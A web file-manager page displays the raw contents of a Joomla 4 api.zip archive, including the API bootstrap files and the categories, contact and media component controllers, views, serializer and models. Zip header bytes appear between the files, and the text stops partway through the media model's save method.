File manager - Edit - /home/opticamezl/www/newok/api.zip
Back
PK �b�\#�g�> > includes/app.phpnu �[��� <?php /** * @package Joomla.API * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); if (file_exists(dirname(__DIR__) . '/defines.php')) { include_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG && \Joomla\CMS\Profiler\Profiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad'); // Boot the DI container $container = \Joomla\CMS\Factory::getContainer(); /* * Alias the session service keys to the web session service as that is the primary session backend for this application * * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects * is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered * deprecated to be removed when the class name alias is removed as well. */ $container->alias('session', 'session.cli') ->alias('JSession', 'session.cli') ->alias(\Joomla\CMS\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\SessionInterface::class, 'session.cli'); // Instantiate the application. $app = $container->get(\Joomla\CMS\Application\ApiApplication::class); // Set the application as global app \Joomla\CMS\Factory::$application = $app; // Execute the application. $app->execute(); PK �b�\l��co o includes/defines.phpnu �[��� <?php /** * @package Joomla.API * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Global definitions $parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE); array_pop($parts); // Defines. define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts)); define('JPATH_SITE', JPATH_ROOT); define('JPATH_CONFIGURATION', JPATH_ROOT); define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator'); define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries'); define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins'); define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation'); define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates'); define('JPATH_CACHE', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'cache'); define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests'); define('JPATH_API', JPATH_ROOT . DIRECTORY_SEPARATOR . 'api'); define('JPATH_CLI', JPATH_ROOT . DIRECTORY_SEPARATOR . 'cli'); PK �b�\H�9 9 includes/framework.phpnu �[��� <?php /** * @package Joomla.API * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\Utilities\IpHelper; // System includes require_once JPATH_LIBRARIES . '/bootstrap.php'; // Installation check, and check on removal of the install directory. if ( !file_exists(JPATH_CONFIGURATION . '/configuration.php') || (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10) || (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version())->isInDevelopmentState())) ) { if (file_exists(JPATH_INSTALLATION . '/index.php')) { header('HTTP/1.1 500 Internal Server Error'); echo json_encode( ['error' => 'You must install Joomla to use the API'] ); exit(); } else { header('HTTP/1.1 500 Internal Server Error'); echo json_encode( ['error' => 'No configuration file found and no installation code available. Exiting...'] ); exit; } } // Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026 ob_start(); require_once JPATH_CONFIGURATION . '/configuration.php'; ob_end_clean(); // System configuration. $config = new JConfig(); // Set the error_reporting switch ($config->error_reporting) { case 'default': case '-1': break; case 'none': case '0': error_reporting(0); break; case 'simple': error_reporting(E_ERROR | E_WARNING | E_PARSE); ini_set('display_errors', 1); break; case 'maximum': case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0 error_reporting(E_ALL); ini_set('display_errors', 1); break; default: error_reporting($config->error_reporting); ini_set('display_errors', 1); break; } define('JDEBUG', $config->debug); // Check deprecation logging if (empty($config->log_deprecated)) { // Reset handler for E_USER_DEPRECATED set_error_handler(null, E_USER_DEPRECATED); } else { // Make sure handler for E_USER_DEPRECATED is registered set_error_handler(['Joomla\CMS\Exception\ExceptionHandler', 'handleUserDeprecatedErrors'], E_USER_DEPRECATED); } if (JDEBUG || $config->error_reporting === 'maximum') { // Set new Exception handler with debug enabled $errorHandler->setExceptionHandler( [ new \Symfony\Component\ErrorHandler\ErrorHandler(null, true), 'renderException', ] ); } /** * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer. * * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer. */ if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1) { // If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR IpHelper::setAllowIpOverrides(true); } else { // We disable the allowing of IP overriding using headers by default. IpHelper::setAllowIpOverrides(false); } unset($config); PK �b�\� ��U U A components/com_categories/src/Controller/CategoriesController.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_categories * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Categories\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\Table\Category; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The categories controller * * @since 4.0.0 */ class CategoriesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'categories'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'categories'; /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { $extension = $this->getExtensionFromInput(); $data['extension'] = $extension; // TODO: This is a hack to drop the extension into the global input object - to satisfy how state is built // we should be able to improve this in the future $this->input->set('extension', $extension); return $data; } /** * Method to save a record. * * @param integer $recordKey The primary key of the item (if exists) * * @return integer The record ID on success, false on failure * * @since 4.0.6 */ protected function save($recordKey = null) { $recordId = parent::save($recordKey); if (!$recordId) { return $recordId; } $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (empty($data['location'])) { return $recordId; } /** @var Category $category */ $category = $this->getModel('Category')->getTable('Category'); $category->load((int) $recordId); $reference = $category->parent_id; if (!empty($data['location_reference'])) { $reference = (int) $data['location_reference']; } $category->setLocation($reference, $data['location']); $category->store(); return $recordId; } /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.extension', $this->getExtensionFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.extension', $this->getExtensionFromInput()); return parent::displayList(); } /** * Get extension from input * * @return string * * @since 4.0.0 */ private function getExtensionFromInput() { return $this->input->exists('extension') ? $this->input->get('extension') : $this->input->post->get('extension'); } } PK �b�\S�u� � = components/com_categories/src/View/Categories/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_categories * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Categories\Api\View\Categories; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The categories view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'title', 'alias', 'note', 'published', 'access', 'checked_out', 'checked_out_time', 'created_user_id', 'parent_id', 'level', 'extension', 'lft', 'rgt', 'language', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'count_trashed', 'count_unpublished', 'count_published', 'count_archived', 'params', 'description', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'alias', 'note', 'published', 'access', 'checked_out', 'checked_out_time', 'created_user_id', 'parent_id', 'level', 'lft', 'rgt', 'language', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'count_trashed', 'count_unpublished', 'count_published', 'count_archived', 'params', 'description', ]; /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_content.categories') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { foreach (FieldsHelper::getFields('com_content.categories') as $field) { $this->fieldsToRenderItem[] = $field->name; } if ($item === null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ($item->extension != $this->getModel()->getState('filter.extension')) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { foreach (FieldsHelper::getFields('com_content.categories', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } return parent::prepareItem($item); } } PK �b�\���� � 8 components/com_contact/src/View/Contacts/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_contact * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\View\Contacts; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Contact\Api\Serializer\ContactSerializer; use Joomla\Component\Content\Api\Helper\ContentHelper; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The contacts view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'alias', 'name', 'category', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'image', 'tags', 'featured', 'publish_up', 'publish_down', 'version', 'hits', 'metakey', 'metadesc', 'metadata', 'con_position', 'address', 'suburb', 'state', 'country', 'postcode', 'telephone', 'fax', 'misc', 'email_to', 'default_con', 'user_id', 'access', 'mobile', 'webpage', 'sortname1', 'sortname2', 'sortname3', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'alias', 'name', 'category', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'image', 'tags', 'user_id', ]; /** * The relationships the item has * * @var array * @since 4.0.0 */ protected $relationship = [ 'category', 'created_by', 'modified_by', 'user_id', 'tags', ]; /** * Constructor. * * @param array $config A named configuration array for object construction. * contentType: the name (optional) of the content type to use for the serialization * * @since 4.0.0 */ public function __construct($config = []) { if (\array_key_exists('contentType', $config)) { $this->serializer = new ContactSerializer($config['contentType']); } parent::__construct($config); } /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { $this->fieldsToRenderItem[] = $field->name; } if (Multilanguage::isEnabled()) { $this->fieldsToRenderItem[] = 'languageAssociations'; $this->relationship[] = 'languageAssociations'; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { foreach (FieldsHelper::getFields('com_contact.contact', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } if (Multilanguage::isEnabled() && !empty($item->associations)) { $associations = []; foreach ($item->associations as $language => $association) { $itemId = explode(':', $association)[0]; $associations[] = (object) [ 'id' => $itemId, 'language' => $language, ]; } $item->associations = $associations; } if (!empty($item->tags->tags)) { $tagsIds = explode(',', $item->tags->tags); $tagsNames = $item->tagsHelper->getTagNames($tagsIds); $item->tags = array_combine($tagsIds, $tagsNames); } else { $item->tags = []; } if (isset($item->image)) { $item->image = ContentHelper::resolve($item->image); } return parent::prepareItem($item); } } PK �b�\���� � ; components/com_contact/src/Serializer/ContactSerializer.phpnu �[��� <?php /** * Joomla! Content Management System * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\Serializer; use Joomla\CMS\Router\Route; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Tag\TagApiSerializerTrait; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; use Tobscure\JsonApi\Relationship; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Temporary serializer * * @since 4.0.0 */ class ContactSerializer extends JoomlaSerializer { use TagApiSerializerTrait; /** * Build content relationships by associations * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function languageAssociations($model) { $resources = []; // @todo: This can't be hardcoded in the future? $serializer = new JoomlaSerializer($this->type); foreach ($model->associations as $association) { $resources[] = (new Resource($association, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/contact/' . $association->id)); } $collection = new Collection($resources, $serializer); return new Relationship($collection); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function category($model) { $serializer = new JoomlaSerializer('categories'); $resource = (new Resource($model->catid, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid)); return new Relationship($resource); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function createdBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->created_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by)); return new Relationship($resource); } /** * Build editor relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function modifiedBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->modified_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by)); return new Relationship($resource); } /** * Build contact user relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function userId($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->user_id, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->user_id)); return new Relationship($resource); } } PK �b�\Y�e�� � ; components/com_contact/src/Controller/ContactController.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_contact * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\Controller; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Controller\Exception\SendEmail; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\CMS\String\PunycodeHelper; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Joomla\Registry\Registry; use Joomla\String\Inflector; use PHPMailer\PHPMailer\Exception as phpMailerException; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The contact controller * * @since 4.0.0 */ class ContactController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'contacts'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'contacts'; /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { if (isset($data[$field->name])) { !isset($data['com_fields']) && $data['com_fields'] = []; $data['com_fields'][$field->name] = $data[$field->name]; unset($data[$field->name]); } } return $data; } /** * Submit contact form * * @param integer $id Leave empty if you want to retrieve data from the request * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function submitForm($id = null) { if ($id === null) { $id = $this->input->post->get('id', 0, 'int'); } $modelName = Inflector::singularize($this->contentType); /** @var \Joomla\Component\Contact\Site\Model\ContactModel $model */ $model = $this->getModel($modelName, 'Site'); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $model->setState('filter.published', 1); $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); $contact = $model->getItem($id); if ($contact->id === null) { throw new RouteNotFoundException('Item does not exist'); } $contactParams = new Registry($contact->params); if (!$contactParams->get('show_email_form')) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_DISPLAY_EMAIL_FORM')); } // Contact plugins PluginHelper::importPlugin('contact'); Form::addFormPath(JPATH_COMPONENT_SITE . '/forms'); // Validate the posted data. $form = $model->getForm(); if (!$form) { throw new \RuntimeException($model->getError(), 500); } if (!$model->validate($form, $data)) { $errors = $model->getErrors(); $messages = []; for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof \Exception) { $messages[] = "{$errors[$i]->getMessage()}"; } else { $messages[] = "{$errors[$i]}"; } } throw new InvalidParameterException(implode("\n", $messages)); } // Validation succeeded, continue with custom handlers $results = $this->app->triggerEvent('onValidateContact', [&$contact, &$data]); foreach ($results as $result) { if ($result instanceof \Exception) { throw new InvalidParameterException($result->getMessage()); } } // Passed Validation: Process the contact plugins to integrate with other applications $this->app->triggerEvent('onSubmitContact', [&$contact, &$data]); // Send the email $sent = false; $params = ComponentHelper::getParams('com_contact'); if (!$params->get('custom_reply')) { $sent = $this->_sendEmail($data, $contact, $params->get('show_email_copy', 0)); } if (!$sent) { throw new SendEmail('Error sending message'); } return $this; } /** * Method to get a model object, loading it if required. * * @param array $data The data to send in the email. * @param \stdClass $contact The user information to send the email to * @param boolean $emailCopyToSender True to send a copy of the email to the user. * * @return boolean True on success sending the email, false on failure. * * @since 1.6.4 */ private function _sendEmail($data, $contact, $emailCopyToSender) { $app = $this->app; $app->getLanguage()->load('com_contact', JPATH_SITE, $app->getLanguage()->getTag(), true); if ($contact->email_to == '' && $contact->user_id != 0) { $contact_user = User::getInstance($contact->user_id); $contact->email_to = $contact_user->get('email'); } $templateData = [ 'sitename' => $app->get('sitename'), 'name' => $data['contact_name'], 'contactname' => $contact->name, 'email' => PunycodeHelper::emailToPunycode($data['contact_email']), 'subject' => $data['contact_subject'], 'body' => stripslashes($data['contact_message']), 'url' => Uri::base(), 'customfields' => '', ]; // Load the custom fields if (!empty($data['com_fields']) && $fields = FieldsHelper::getFields('com_contact.mail', $contact, true, $data['com_fields'])) { $output = FieldsHelper::render( 'com_contact.mail', 'fields.render', [ 'context' => 'com_contact.mail', 'item' => $contact, 'fields' => $fields, ] ); if ($output) { $templateData['customfields'] = $output; } } try { $mailer = new MailTemplate('com_contact.mail', $app->getLanguage()->getTag()); $mailer->addRecipient($contact->email_to); $mailer->setReplyTo($templateData['email'], $templateData['name']); $mailer->addTemplateData($templateData); $sent = $mailer->send(); // If we are supposed to copy the sender, do so. if ($emailCopyToSender == true && !empty($data['contact_email_copy'])) { $mailer = new MailTemplate('com_contact.mail.copy', $app->getLanguage()->getTag()); $mailer->addRecipient($templateData['email']); $mailer->setReplyTo($templateData['email'], $templateData['name']); $mailer->addTemplateData($templateData); $sent = $mailer->send(); } } catch (MailDisabledException | phpMailerException $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); $sent = false; } catch (\RuntimeException $exception) { Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); $sent = false; } } return $sent; } } PK �b�\v�|� � 0 components/com_media/src/Model/AdaptersModel.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\CMS\MVC\Model\ListModelInterface; use Joomla\CMS\Pagination\Pagination; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting lists of media adapters. * * @since 4.1.0 */ class AdaptersModel extends BaseModel implements ListModelInterface { use ProviderManagerHelperTrait; /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object, * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models. * * @var int * @since 4.1.0 */ private $total = 0; /** * Method to get a list of files and/or folders. * * @return array An array of data items. * * @since 4.1.0 */ public function getItems(): array { $adapters = []; foreach ($this->getProviderManager()->getProviders() as $provider) { foreach ($provider->getAdapters() as $adapter) { $obj = new \stdClass(); $obj->id = $provider->getID() . '-' . $adapter->getAdapterName(); $obj->provider_id = $provider->getID(); $obj->name = $adapter->getAdapterName(); $obj->path = $provider->getID() . '-' . $adapter->getAdapterName() . ':/'; $adapters[] = $obj; } } // A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object. $this->total = \count($adapters); return $adapters; } /** * Method to get a \JPagination object for the data set. * * @return Pagination A Pagination object for the data set. * * @since 4.1.0 */ public function getPagination(): Pagination { return new Pagination($this->getTotal(), $this->getStart(), 0); } /** * Method to get the starting number of items for the data set. Because com_media's ApiModel * does not support pagination as we know from regular ListModel derived models, * we always start at the top. * * @return integer The starting number of items available in the data set. * * @since 4.1.0 */ public function getStart(): int { return 0; } /** * Method to get the total number of items for the data set. * * @return integer The total number of items available in the data set. * * @since 4.1.0 */ public function getTotal(): int { return $this->total; } } PK �b�\�C1Zf f - components/com_media/src/Model/MediaModel.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\CMS\MVC\Model\ListModelInterface; use Joomla\CMS\Pagination\Pagination; use Joomla\Component\Media\Administrator\Exception\FileNotFoundException; use Joomla\Component\Media\Administrator\Model\ApiModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting lists of media items. * * @since 4.1.0 */ class MediaModel extends BaseModel implements ListModelInterface { use ProviderManagerHelperTrait; /** * Instance of com_media's ApiModel * * @var ApiModel * @since 4.1.0 */ private $mediaApiModel; /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object, * since com_media's ApiModel does not support pagination as we know from regular ListModel derived models. * * @var int * @since 4.1.0 */ private $total = 0; public function __construct($config = []) { parent::__construct($config); $this->mediaApiModel = new ApiModel(); } /** * Method to get a list of files and/or folders. * * @return array An array of data items. * * @since 4.1.0 */ public function getItems(): array { // Map web service model state to com_media options. $options = [ 'url' => $this->getState('url', false), 'temp' => $this->getState('temp', false), 'search' => $this->getState('search', ''), 'recursive' => $this->getState('search_recursive', false), 'content' => $this->getState('content', false), ]; ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { $files = $this->mediaApiModel->getFiles($adapterName, $path, $options); } catch (FileNotFoundException $e) { throw new ResourceNotFound( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } /** * A hacky way to enable the standard jsonapiView::displayList() to create a Pagination object. * Because com_media's ApiModel does not support pagination as we know from regular ListModel * derived models, we always return all retrieved items. */ $this->total = \count($files); return $files; } /** * Method to get a \JPagination object for the data set. * * @return Pagination A Pagination object for the data set. * * @since 4.1.0 */ public function getPagination(): Pagination { return new Pagination($this->getTotal(), $this->getStart(), 0); } /** * Method to get the starting number of items for the data set. Because com_media's ApiModel * does not support pagination as we know from regular ListModel derived models, * we always start at the top. * * @return int The starting number of items available in the data set. * * @since 4.1.0 */ public function getStart(): int { return 0; } /** * Method to get the total number of items for the data set. * * @return int The total number of items available in the data set. * * @since 4.1.0 */ public function getTotal(): int { return $this->total; } } PK �b�\Y7��G G . components/com_media/src/Model/MediumModel.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\Exception\ResourceNotFound; use Joomla\CMS\MVC\Controller\Exception\Save; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\Component\Media\Administrator\Exception\FileExistsException; use Joomla\Component\Media\Administrator\Exception\FileNotFoundException; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Model\ApiModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting a single media item. * * @since 4.1.0 */ class MediumModel extends BaseModel { use ProviderManagerHelperTrait; /** * Instance of com_media's ApiModel * * @var ApiModel * @since 4.1.0 */ private $mediaApiModel; public function __construct($config = []) { parent::__construct($config); $this->mediaApiModel = new ApiModel(); } /** * Method to get a single files or folder. * * @return \stdClass A file or folder object. * * @since 4.1.0 * @throws ResourceNotFound */ public function getItem() { $options = [ 'path' => $this->getState('path', ''), 'url' => $this->getState('url', false), 'temp' => $this->getState('temp', false), 'content' => $this->getState('content', false), ]; ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { return $this->mediaApiModel->getFile($adapterName, $path, $options); } catch (FileNotFoundException $e) { throw new ResourceNotFound( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } } /** * Method to save a file or folder. * * @param string $path The primary key of the item (if exists) * * @return string The path * * @since 4.1.0 * * @throws Save */ public function save($path = null): string { $path = $this->getState('path', ''); $oldPath = $this->getState('old_path', ''); $content = $this->getState('content', null); $override = $this->getState('override', false); ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($path); // Trim adapter information from path if ($pos = strpos($path, ':/')) { $path = substr($path, $pos + 1); } // Trim adapter information from old path if ($pos = strpos($oldPath, ':/')) { $oldPath = substr($oldPath, $pos + 1); } $resultPath = ''; /** * If we have a (new) path and an old path, we want to move an existing * file or folder. This must be done before updating the content of a file, * if also requested (see below). */ if ($path && $oldPath) { try { // ApiModel::move() (or actually LocalAdapter::move()) returns a path with leading slash. $resultPath = trim( $this->mediaApiModel->move($adapterName, $oldPath, $path, $override), '/' ); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $oldPath ), 404 ); } } // If we have a (new) path but no old path, we want to create a // new file or folder. if ($path && !$oldPath) { // com_media expects separate directory and file name. // If we moved the file before, we must use the new path. $basename = basename($resultPath ?: $path); $dirname = dirname($resultPath ?: $path); try { // If there is content, com_media's assumes the new item is a file. // Otherwise a folder is assumed. $name = $content ? $this->mediaApiModel->createFile( $adapterName, $basename, $dirname, $content, $override ) : $this->mediaApiModel->createFolder( $adapterName, $basename, $dirname, $override ); $resultPath = $dirname . '/' . $name; } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $dirname . '/' . $basename ), 404 ); } catch (FileExistsException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_EXISTS', $dirname . '/' . $basename ), 400 ); } catch (InvalidPathException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE', $dirname . '/' . $basename ), 400 ); } } // If we have no (new) path but we do have an old path and we have content, // we want to update the contents of an existing file. if ($oldPath && $content) { // com_media expects separate directory and file name. // If we moved the file before, we must use the new path. $basename = basename($resultPath ?: $oldPath); $dirname = dirname($resultPath ?: $oldPath); try { $this->mediaApiModel->updateFile( 